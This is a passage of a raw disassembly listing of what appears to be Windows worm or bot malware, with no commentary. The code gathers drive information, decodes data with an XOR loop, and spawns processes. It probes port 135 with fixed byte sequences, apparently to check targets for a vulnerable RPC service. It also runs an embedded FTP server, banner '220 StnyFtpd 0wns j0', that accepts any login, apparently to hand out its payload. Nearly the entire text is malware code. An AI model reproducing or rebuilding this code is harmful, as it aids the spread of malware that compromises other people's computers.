cmp [ebp+var_14], esi
jz loc_4037B4
cmp [ebp+var_44], 1
push ecx
lea eax, [ebp+var_148]
push ecx
jz loc_403677
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_418630
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_418630
fstp [esp+590h+var_590]
push offset unk_41BE1C
push eax
call sub_40C6C3
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_4035F7
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_404555
add esp, 14h
loc_4035F7: ; CODE XREF: sub_4032EE+2E7j
lea eax, [ebp+var_510]
push eax
call sub_403145
cmp [ebp+var_40], 1
pop ecx
jnz loc_4037B4
push 5
push esi
lea eax, [ebp+var_148]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_42D7F8
cmp [ebp+var_30], esi
jnz loc_4037B4
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset dword_41BDF4
push eax
call sub_40C6C3
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_404555
lea eax, [ebp+var_510]
push eax
call sub_403145
add esp, 24h
jmp loc_4037B4
; ---------------------------------------------------------------------------
loc_403677: ; CODE XREF: sub_4032EE+2A3j
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_418630
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_418630
fstp [esp+590h+var_590]
push offset unk_41BDB0
push eax
call sub_40C6C3
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_4036D7
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_404555
add esp, 14h
loc_4036D7: ; CODE XREF: sub_4032EE+3C7j
lea eax, [ebp+var_510]
push eax
call sub_403145
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_40CC40
push 44h
lea eax, [ebp+var_310]
pop edi
push edi
push esi
push eax
call sub_40CC40
add esp, 1Ch
lea eax, [ebp+var_10]
mov [ebp+var_310], edi
xor edi, edi
push eax
lea eax, [ebp+var_310]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+var_148]
push esi
inc edi
push eax
push esi
mov [ebp+var_304], offset byte_4242F0
mov [ebp+var_2E4], edi
mov [ebp+var_2E0], si
call dword_418078 ; CreateProcessA
cmp eax, edi
jnz short loc_403759
call dword_42D7E4 ; WSACleanup
call sub_40551B
push esi
call dword_418074 ; ExitProcess
loc_403759: ; CODE XREF: sub_4032EE+457j
lea eax, [ebp+var_148]
push eax
push offset unk_41BD74
jmp short loc_403773
; ---------------------------------------------------------------------------
loc_403767: ; CODE XREF: sub_4032EE+45j
lea eax, [ebp+var_248]
push eax
push offset unk_41BD44
loc_403773: ; CODE XREF: sub_4032EE+477j
lea eax, [ebp+var_510]
push eax
call sub_40C6C3
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_4037A7
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_404555
add esp, 14h
loc_4037A7: ; CODE XREF: sub_4032EE+497j
lea eax, [ebp+var_510]
push eax
call sub_403145
pop ecx
loc_4037B4: ; CODE XREF: sub_4032EE+291j
; sub_4032EE+31Aj ...
push [ebp+var_18]
call dword_42D8A8 ; InternetCloseHandle
push [ebp+var_48]
call sub_40C378
pop ecx
push esi
call dword_418050 ; ExitThread
sub_4032EE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4037CD proc near ; CODE XREF: sub_4032EE+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_4037E9
loc_4037D9: ; CODE XREF: sub_4037CD+1Aj
mov dl, byte_41DE50
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_4037D9
locret_4037E9: ; CODE XREF: sub_4037CD+Aj
retn
sub_4037CD endp
; =============== S U B R O U T I N E =======================================
sub_4037EA proc near ; CODE XREF: sub_4077FD+17DEp
; sub_4077FD+1944p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40DE14
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_4037EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403804 proc near ; CODE XREF: sub_403913+66p
; sub_403913+97p ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_42D2F8
push 0
push edi
call sub_40CC40
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_403829: ; CODE XREF: sub_403804+5Bj
; sub_403804+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_40DED0
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_40DE60
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_403867
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_403829
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_403829
; ---------------------------------------------------------------------------
loc_403867: ; CODE XREF: sub_403804+4Bj
mov eax, edi
jmp short loc_403870
; ---------------------------------------------------------------------------
loc_40386B: ; CODE XREF: sub_403804+72j
mov cl, [esi]
mov [eax], cl
inc eax
loc_403870: ; CODE XREF: sub_403804+65j
dec esi
lea ecx, [ebp+var_38]
cmp esi, ecx
jnb short loc_40386B
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_403804 endp
; =============== S U B R O U T I N E =======================================
sub_403882 proc near ; CODE XREF: sub_403A2E+51p
; sub_403A2E+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_42D8D4 ; GetDriveTypeA
sub eax, 0
jz short loc_4038C5
dec eax
jz short loc_4038BF
dec eax
dec eax
jz short loc_4038B9
dec eax
jz short loc_4038B3
dec eax
jz short loc_4038AD
dec eax
jz short loc_4038A7
mov eax, offset word_41BF80
retn
; ---------------------------------------------------------------------------
loc_4038A7: ; CODE XREF: sub_403882+1Dj
mov eax, offset aRam ; "RAM"
retn
; ---------------------------------------------------------------------------
loc_4038AD: ; CODE XREF: sub_403882+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_4038B3: ; CODE XREF: sub_403882+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_4038B9: ; CODE XREF: sub_403882+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_4038BF: ; CODE XREF: sub_403882+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_4038C5: ; CODE XREF: sub_403882+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_403882 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4038CB proc near ; CODE XREF: sub_403913+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_42D784
test eax, eax
jz short loc_403900
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; GetDiskFreeSpaceExA
loc_403900: ; CODE XREF: sub_4038CB+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_4038CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403913 proc near ; CODE XREF: sub_403A2E+17p
; sub_40B807+1F3p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_4038CB
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_4039EB
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_4039EB
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_4039EB
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_40DF50
push edx
push eax
call sub_403804
mov edi, offset aSkb ; "%sKB"
push eax
mov esi, 80h
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_40D3F7
add esp, 18h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_40DF50
push edx
push eax
call sub_403804
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_40D3F7
add esp, 18h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_40DF50
push edx
push eax
call sub_403804
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_40D3F7
add esp, 18h
pop ebx
jmp short loc_403A1A
; ---------------------------------------------------------------------------
loc_4039EB: ; CODE XREF: sub_403913+2Cj
; sub_403913+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_40C6C3
lea eax, [ebp+var_118]
push esi
push eax
call sub_40C6C3
lea eax, [ebp+var_98]
push esi
push eax
call sub_40C6C3
add esp, 18h
loc_403A1A: ; CODE XREF: sub_403913+D6j
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_403913 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403A2E proc near ; CODE XREF: sub_403B00+17p
; sub_403B00+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_403913
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_40D860
add esp, 10h
test eax, eax
jnz short loc_403AA1
push ebx
push ebx
call sub_403882
pop ecx
push eax
push offset unk_41BFD4
lea eax, [ebp+var_500]
push 200h
push eax
call sub_40D3F7
add esp, 14h
jmp short loc_403AD5
; ---------------------------------------------------------------------------
loc_403AA1: ; CODE XREF: sub_403A2E+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_403882
pop ecx
push eax
push offset unk_41BF94
lea eax, [ebp+var_500]
push 200h
push eax
call sub_40D3F7
add esp, 20h
loc_403AD5: ; CODE XREF: sub_403A2E+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
lea eax, [ebp+var_500]
push eax
call sub_403145
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_403A2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403B00 proc near ; CODE XREF: sub_4077FD+3315p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_403B21
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_403A2E
add esp, 10h
jmp short loc_403B80
; ---------------------------------------------------------------------------
loc_403B21: ; CODE XREF: sub_403B00+9j
push esi
push edi
push ebx
push ebx
call dword_42D7F4 ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi
call sub_40CCCF
pop ecx
mov edi, eax
push edi
push esi
call dword_42D7F4 ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_403B77
loc_403B45: ; CODE XREF: sub_403B00+75j
push offset aA_1 ; "A:\\"
push esi
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz short loc_403B68
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_403A2E
add esp, 10h
loc_403B68: ; CODE XREF: sub_403B00+54j
push esi
call sub_40CBC0
lea esi, [esi+eax+1]
pop ecx
cmp [esi], bl
jnz short loc_403B45
loc_403B77: ; CODE XREF: sub_403B00+43j
push edi
call sub_40CD81
pop ecx
pop edi
pop esi
loc_403B80: ; CODE XREF: sub_403B00+1Fj
pop ebx
pop ebp
retn
sub_403B00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403B83 proc near ; DATA XREF: sub_407041+19o
var_2B8 = dword ptr -2B8h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_42F414
call dword_42D90C ; closesocket
call sub_40C225
call dword_42D7E4 ; WSACleanup
call dword_42D7E4 ; WSACleanup
mov ebx, dword_418040
push 64h
call ebx ; Sleep
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_40CC40
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_40CC40
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_4242F0
mov [ebp+var_28], 1
mov [ebp+var_24], di
call dword_418088 ; GetSystemDirectoryA
lea eax, [ebp+var_158]
push esi
push eax
push edi
call dword_41804C ; GetModuleFileNameA
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call dword_418078 ; CreateProcessA
test eax, eax
jz short loc_403C48
push 64h
call ebx ; Sleep
push [ebp+var_10]
mov esi, dword_41807C
call esi ; CloseHandle
push [ebp+var_C]
call esi ; CloseHandle
loc_403C48: ; CODE XREF: sub_403B83+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_42D32C
mov eax, [esp+2B8h+var_2B8]
mov large fs:0, eax
add esp, 8
push edi
call dword_418074 ; ExitProcess
pop edi
pop esi
pop ebx
sub_403B83 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403C6B proc near ; CODE XREF: sub_403CA3+125p
; sub_403CA3+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_403C99
loc_403C7C: ; CODE XREF: sub_403C6B+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_40E000
add esp, 0Ch
test eax, eax
jz short loc_403C9F
inc esi
cmp esi, edi
jl short loc_403C7C
loc_403C99: ; CODE XREF: sub_403C6B+Fj
xor al, al
loc_403C9B: ; CODE XREF: sub_403C6B+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_403C9F: ; CODE XREF: sub_403C6B+27j
mov al, 1
jmp short loc_403C9B
sub_403C6B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403CA3 proc near ; CODE XREF: sub_402972+8Bp
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_40CCA0
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_403CE4
dec eax
jz short loc_403CC2
dec eax
loc_403CBC: ; CODE XREF: sub_403CA3+57j
xor eax, eax
loc_403CBE: ; CODE XREF: sub_403CA3+3Fj
; sub_403CA3+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_403CC2: ; CODE XREF: sub_403CA3+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_42D8B4 ; inet_addr
push eax
call sub_4014AE
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_403CBE
; ---------------------------------------------------------------------------
loc_403CE4: ; CODE XREF: sub_403CA3+13j
push 6
push 1
push 2
call dword_42D8F4 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_403CBC
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_40CC40
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call dword_42D878 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_4057D9
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_42D824 ; connect
cmp eax, edi
jz loc_403E00
push ebx
push 48h
push offset dword_41C018
push esi
call dword_42D8C4 ; send
cmp eax, edi
jz loc_403E00
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_42D890 ; recv
cmp eax, edi
jz loc_403E00
cmp [ebp+var_200E], 0Ch
jnz short loc_403E00
push ebx
push 18h
push offset dword_41C064
push [ebp+arg_4]
call dword_42D8C4 ; send
cmp eax, edi
jz short loc_403E00
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_42D890 ; recv
mov esi, eax
cmp esi, edi
jz short loc_403E00
cmp [ebp+var_200E], 2
jnz short loc_403E00
push 10h
push offset loc_41C080
lea eax, [ebp+var_2010]
push esi
push eax
call sub_403C6B
add esp, 10h
test al, al
jz short loc_403DE0
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_403E00
; ---------------------------------------------------------------------------
loc_403DE0: ; CODE XREF: sub_403CA3+12Fj
push 10h
push offset dword_41C094
lea eax, [ebp+var_2010]
push esi
push eax
call sub_403C6B
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_403E00: ; CODE XREF: sub_403CA3+9Bj
; sub_403CA3+B2j ...
push [ebp+arg_4]
call dword_42D90C ; closesocket
mov eax, ebx
pop ebx
jmp loc_403CBE
sub_403CA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403E11 proc near ; DATA XREF: sub_401141+227o
var_A6C = byte ptr -0A6Ch
var_8DC = byte ptr -8DCh
var_6DC = dword ptr -6DCh
var_6D8 = byte ptr -6D8h
var_4C4 = byte ptr -4C4h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_438 = dword ptr -438h
var_334 = byte ptr -334h
var_2D0 = byte ptr -2D0h
var_29C = byte ptr -29Ch
var_238 = dword ptr -238h
var_234 = dword ptr -234h
var_230 = dword ptr -230h
var_134 = byte ptr -134h
var_124 = byte ptr -124h
var_F8 = byte ptr -0F8h
var_C4 = byte ptr -0C4h
var_AC = byte ptr -0ACh
var_48 = byte ptr -48h
var_38 = word ptr -38h
var_36 = word ptr -36h
var_34 = dword ptr -34h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A6Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6DC]
inc ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A6C]
xor edi, edi
push eax
push 101h
mov [ebp+var_24], ebx
mov [ebp+var_28], ebx
mov [ebp+var_238], edi
mov [ebp+var_438], edi
call dword_418188 ; WSAStartup
push edi
call sub_40E2E2
push eax
call sub_40CB55
push 0FA00h
push 539h
call sub_40301D
add esp, 10h
mov dword_42D334, eax
push edi
push ebx
push 2
call dword_4181B4 ; socket
mov esi, eax
lea eax, [ebp+var_24]
push 4
push eax
push 4
push 0FFFFh
push esi
mov [ebp+var_C], esi
call dword_4181A8 ; setsockopt
lea eax, [ebp+var_28]
push eax
push 8004667Eh
push esi
call dword_41818C ; ioctlsocket
mov ax, word ptr dword_42D334
mov [ebp+var_38], 2
push eax
mov [ebp+var_34], edi
call dword_4181A0 ; htons
mov [ebp+var_36], ax
lea eax, [ebp+var_38]
push 10h
push eax
push esi
call dword_418190 ; bind
test eax, eax
jge short loc_403EE6
mov eax, ebx
jmp loc_4043F1
; ---------------------------------------------------------------------------
loc_403EE6: ; CODE XREF: sub_403E11+CCj
push 0Ah
push esi
call dword_418194 ; listen
mov [ebp+var_238], ebx
mov ebx, dword_4181B8
mov [ebp+var_234], esi
mov [ebp+var_4], esi
loc_403F04: ; CODE XREF: sub_403E11+12Aj
; sub_403E11+5D8j
push 41h
lea esi, [ebp+var_238]
pop ecx
lea edi, [ebp+var_438]
rep movsd
xor edi, edi
lea eax, [ebp+var_438]
push edi
push edi
push edi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call dword_4181BC ; select
cmp eax, 0FFFFFFFFh
jz loc_4043EE
cmp [ebp+var_4], edi
mov [ebp+arg_0], edi
jl short loc_403F04
loc_403F3D: ; CODE XREF: sub_403E11+5D2j
xor esi, esi
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_40CC40
push 64h
lea eax, [ebp+var_AC]
push esi
push eax
call sub_40CC40
add esp, 18h
lea eax, [ebp+var_438]
push eax
push edi
call sub_417A78 ; __WSAFDIsSet
test eax, eax
jz loc_4043DC
cmp edi, [ebp+var_C]
jnz short loc_403FE6
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+var_134]
push eax
push [ebp+var_C]
call dword_418198 ; accept
cmp eax, 0FFFFFFFFh
jz loc_4043DC
mov edx, [ebp+var_238]
xor ecx, ecx
cmp edx, esi
jbe short loc_403FB8
loc_403FAA: ; CODE XREF: sub_403E11+1A5j
cmp [ebp+ecx*4+var_234], eax
jz short loc_403FB8
inc ecx
cmp ecx, edx
jb short loc_403FAA
loc_403FB8: ; CODE XREF: sub_403E11+197j
; sub_403E11+1A0j
cmp ecx, edx
jnz short loc_403FCE
cmp edx, 40h
jnb short loc_403FCE
mov [ebp+ecx*4+var_234], eax
inc [ebp+var_238]
loc_403FCE: ; CODE XREF: sub_403E11+1A9j
; sub_403E11+1AEj
cmp eax, [ebp+var_4]
jle short loc_403FD6
mov [ebp+var_4], eax
loc_403FD6: ; CODE XREF: sub_403E11+1C0j
push esi
push 15h
push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_4043DC
; ---------------------------------------------------------------------------
loc_403FE6: ; CODE XREF: sub_403E11+167j
push esi
lea eax, [ebp+var_29C]
push 64h
push eax
push edi
call dword_4181AC ; recv
test eax, eax
jg short loc_404043
mov ecx, [ebp+var_238]
xor eax, eax
cmp ecx, esi
jbe short loc_404037
loc_404007: ; CODE XREF: sub_403E11+202j
cmp [ebp+eax*4+var_234], edi
jz short loc_40402C
inc eax
cmp eax, ecx
jb short loc_404007
jmp short loc_404037
; ---------------------------------------------------------------------------
loc_404017: ; CODE XREF: sub_403E11+21Ej
mov ecx, [ebp+eax*4+var_230]
mov [ebp+eax*4+var_234], ecx
mov ecx, [ebp+var_238]
inc eax
loc_40402C: ; CODE XREF: sub_403E11+1FDj
dec ecx
cmp eax, ecx
jb short loc_404017
dec [ebp+var_238]
loc_404037: ; CODE XREF: sub_403E11+1F4j
; sub_403E11+204j
push edi
call dword_4181B0 ; closesocket
jmp loc_4043DC
; ---------------------------------------------------------------------------
loc_404043: ; CODE XREF: sub_403E11+1E8j
lea eax, [ebp+var_334]
push eax
lea eax, [ebp+var_AC]
push eax
lea eax, [ebp+var_29C]
push offset aSS ; "%s %s"
push eax
call sub_40CB7D
lea eax, [ebp+var_AC]
push offset aUser ; "USER"
push eax
call sub_40D860
add esp, 18h
test eax, eax
jnz short loc_404087
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_4043C7
; ---------------------------------------------------------------------------
loc_404087: ; CODE XREF: sub_403E11+267j
lea eax, [ebp+var_AC]
push offset aPass ; "PASS"
push eax
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_4040AB
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_4043C7
; ---------------------------------------------------------------------------
loc_4040AB: ; CODE XREF: sub_403E11+28Bj
lea eax, [ebp+var_AC]
push offset aSyst ; "SYST"
push eax
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_4040CF
push esi
push 0Dh
push offset a215Stnyftpd ; "215 StnyFtpd\n"
jmp loc_4043C7
; ---------------------------------------------------------------------------
loc_4040CF: ; CODE XREF: sub_403E11+2AFj
lea eax, [ebp+var_AC]
push offset aRest ; "REST"
push eax
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_4040F3
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_4043C7
; ---------------------------------------------------------------------------
loc_4040F3: ; CODE XREF: sub_403E11+2D3j
lea eax, [ebp+var_AC]
push offset off_41C280
push eax
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_404117
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_4043C7
; ---------------------------------------------------------------------------
loc_404117: ; CODE XREF: sub_403E11+2F7j
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_404152
lea eax, [ebp+var_334]
push offset aA ; "A"
push eax
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_404152
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_4043C7
; ---------------------------------------------------------------------------
loc_404152: ; CODE XREF: sub_403E11+31Bj
; sub_403E11+332j
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_40418D
lea eax, [ebp+var_334]
push offset aI ; "I"
push eax
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_40418D
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_4043C7
; ---------------------------------------------------------------------------
loc_40418D: ; CODE XREF: sub_403E11+356j
; sub_403E11+36Dj
lea eax, [ebp+var_AC]
push offset aPasv ; "PASV"
push eax
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_4041DB
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+var_124]
rep movsd
push eax
lea eax, [ebp+var_124]
push eax
movsw
call sub_40CBC0
pop ecx
push eax
lea eax, [ebp+var_124]
loc_4041CB: ; CODE XREF: sub_403E11+409j
push eax
push [ebp+arg_0]
call ebx ; send
mov edi, [ebp+arg_0]
xor esi, esi
jmp loc_4043CA
; ---------------------------------------------------------------------------
loc_4041DB: ; CODE XREF: sub_403E11+391j
lea eax, [ebp+var_AC]
push offset aList ; "LIST"
push eax
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_40421C
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C4]
rep movsd
movsw
push eax
lea eax, [ebp+var_C4]
push eax
movsb
call sub_40CBC0
pop ecx
push eax
